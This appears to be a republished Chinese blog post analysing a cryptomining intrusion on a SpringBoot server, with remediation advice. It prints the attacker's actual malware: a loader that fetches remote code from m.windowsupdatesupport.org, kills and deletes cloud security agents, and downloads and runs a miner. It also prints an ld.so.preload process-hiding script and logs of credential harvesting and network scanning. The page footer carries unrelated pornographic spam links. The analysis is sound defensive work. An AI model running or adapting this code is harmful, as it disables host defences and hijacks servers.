1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        記一次服務(wù)器被入侵,沒想到我輕松搞定了它~

        共 8291字,需瀏覽 17分鐘

         ·

        2022-07-25 00:26

        作者:tlanyan
        鏈接:https://itlanyan.com/server-being-hacked-log/
        常在河邊走,哪能不濕鞋。自認(rèn)為安全防范意識不錯,沒想到服務(wù)器被入侵挖礦的事情也能落到自己頭上。
        本文簡要記錄發(fā)現(xiàn)服務(wù)器被入侵挖礦的過程,同時分析木馬的痕跡和信息,最后給出解決方法。

        服務(wù)器被入侵挖礦過程

        事情經(jīng)過

        昨天是周六,睡得比較晚。玩手機(jī)時忽然收到阿里云短信和郵件提醒,服務(wù)器有異常行為:

        一看郵件內(nèi)容就知道不得了,趕緊打開電腦處理。
        首先用 netstat 命令查看端口,發(fā)現(xiàn)一個異常的端口,但不顯示程序名。這時心里已經(jīng)很清楚,服務(wù)器上的Java程序被遠(yuǎn)程執(zhí)行代碼(RCE),也許還被植入了 rootkit。

        首要問題是保障業(yè)務(wù)正??捎?,于是快速拉起另外一個實(shí)例,將業(yè)務(wù)遷移過去。接下來, 首先將被入侵服務(wù)器關(guān)機(jī),然后一步步研究入侵過程,以及其在服務(wù)器上的行為。

        入侵行為分析

        根據(jù)郵件內(nèi)容,一個 SpringBoot 應(yīng)用被 getshell 并被執(zhí)行遠(yuǎn)程代碼。被執(zhí)行的代碼語句 base64 解碼后為:
        python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
        將其下載,內(nèi)容如下:
        import sysimport osfrom os.path import expanduserver=sys.version
        shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
        rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
        ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
        '''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try: os.mkdir(homedir+"/.git")except Exception as e: print(e)if os.path.isdir(homedir+"/.git"): gitdir=homedir+"/.git"try: os.mkdir("./.git")except Exception as e: print(e)if os.path.isdir("./.git"): gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f: html = f.read() open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f: f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read()) f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'): os.system(gitdir+"/kworkers")else: os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

        遠(yuǎn)程代碼主要做了這些事情:

        1. 卸載服務(wù)器上的安全監(jiān)控工具;事后開機(jī),發(fā)現(xiàn)阿里云盾果然被卸載了
        2. 關(guān)掉所有kworkers進(jìn)程;
        3. 在當(dāng)前目錄下創(chuàng)建 .git 目錄,下載并執(zhí)行 kworkers 程序。

        上網(wǎng)搜了一下 kworkers,發(fā)現(xiàn)是挖礦應(yīng)用,并非加密勒索等木馬,心里稍微安心一點(diǎn)。通過阿里云后臺監(jiān)控,可以看到木馬入侵后,短時間內(nèi)cpu占用率飆升(本人處理及時,木馬挖礦時間大概持續(xù)5分鐘左右):

        服務(wù)器殘留痕跡

        大概知道了木馬的行為,接著重啟服務(wù)器,查看服務(wù)器上的痕跡。
        1、查看有無添加定時任務(wù):
        # crontab -l0 2 * * * /xxx/.git/kworkers
        木馬添加了定時啟動任務(wù)。
        2、進(jìn)入木馬主目錄,發(fā)現(xiàn)下載了如下文件:

        此外,上層目錄和家目錄還多了 cert_key.pemcert.pem 兩個文件,分別存放公鑰和密鑰。
        3、查看木馬留下的日志,有如下內(nèi)容:
        /xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
        process completedversion same hideproc.shskip restart hideproc.shversion same sshkey.shskip restart sshkey.shversion same autoupdateskip restart autoupdateversion same kworkersKey path not found
        根據(jù)日志,主要是下載程序,檢測用戶名和密碼,探測內(nèi)網(wǎng),然后啟動自動更新、隱藏進(jìn)程等程序。
        1. hideproc.sh 感興趣,其內(nèi)容為:
        if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
        gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl mv libc2.28.so /usr/local/lib/ -f grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload rm -f processhider.c ls >/tmp/.1 2>&1 grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
        其首先檢測是否root用戶,然后編譯 libc2 共享庫,注入隱藏進(jìn)程的代碼。這應(yīng)該是用netstat無法查看到進(jìn)程名的原因。
        5、查看訪問日志,發(fā)現(xiàn)期間有個IP對服務(wù)器進(jìn)行爆破:

        其他信息

        除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;

        查詢可疑ip,位于國內(nèi)北京市,應(yīng)該是肉雞;

        查詢木馬下載域名 windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;

        除了下載木馬文件挖礦,未改變服務(wù)器上的其他數(shù)據(jù)。

        服務(wù)器被入侵挖礦解決辦法

        雖然知道是 SpringBoot 應(yīng)用觸發(fā)了 RCE,但遺憾目前仍未找到是哪個包導(dǎo)致的漏洞。目前采取的緩解措施為:
        1、被入侵服務(wù)器重裝系統(tǒng);
        2、使用非 root 用戶啟動 SpringBoot 應(yīng)用;
        3、被入侵的是子系統(tǒng),增加基本授權(quán):
        apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

        然后配置 Nginx 使用認(rèn)證信息:

        server {  ...  auth_basic  "子系統(tǒng)鑒權(quán):";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}

        4、防火墻限制對外連接。

        上述錯誤能一定程度上避免類似情況再次發(fā)生,但找到應(yīng)用程序中的漏洞才是接下來的重點(diǎn)。

        總結(jié)

        幸運(yùn)的是這次來的是挖礦木馬,服務(wù)器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費(fèi)的安全提醒,讓我在第一時間處理。

        但這次事故也敲醒了警鐘:

        1. 不要隨意用 root 權(quán)限運(yùn)行程序;
        2. 防火墻權(quán)限要嚴(yán)格收緊;
        3. 做好安全監(jiān)控;
        4. 時刻做好數(shù)據(jù)備份。

        推薦閱讀:

        世界的真實(shí)格局分析,地球人類社會底層運(yùn)行原理

        不是你需要中臺,而是一名合格的架構(gòu)師(附各大廠中臺建設(shè)PPT)

        企業(yè)IT技術(shù)架構(gòu)規(guī)劃方案

        論數(shù)字化轉(zhuǎn)型——轉(zhuǎn)什么,如何轉(zhuǎn)?

        華為干部與人才發(fā)展手冊(附PPT)

        企業(yè)10大管理流程圖,數(shù)字化轉(zhuǎn)型從業(yè)者必備!

        【中臺實(shí)踐】華為大數(shù)據(jù)中臺架構(gòu)分享.pdf

        華為的數(shù)字化轉(zhuǎn)型方法論

        華為如何實(shí)施數(shù)字化轉(zhuǎn)型(附PPT)

        超詳細(xì)280頁Docker實(shí)戰(zhàn)文檔!開放下載

        華為大數(shù)據(jù)解決方案(PPT)

        瀏覽 57
        點(diǎn)贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點(diǎn)贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            女人与拘做爰全过程 | 九九热久久这里只有精品 | 搞黄在线观看 | 啊啊啊好大好深 | 波多野42部无码喷潮BT种子 | 亚洲无码专区视频在线 | 黄色免费性爱视频 | 啊啊啊啊啊啊国产 | 四虎影视国产精品免费久久 | 国产精品动漫网站 |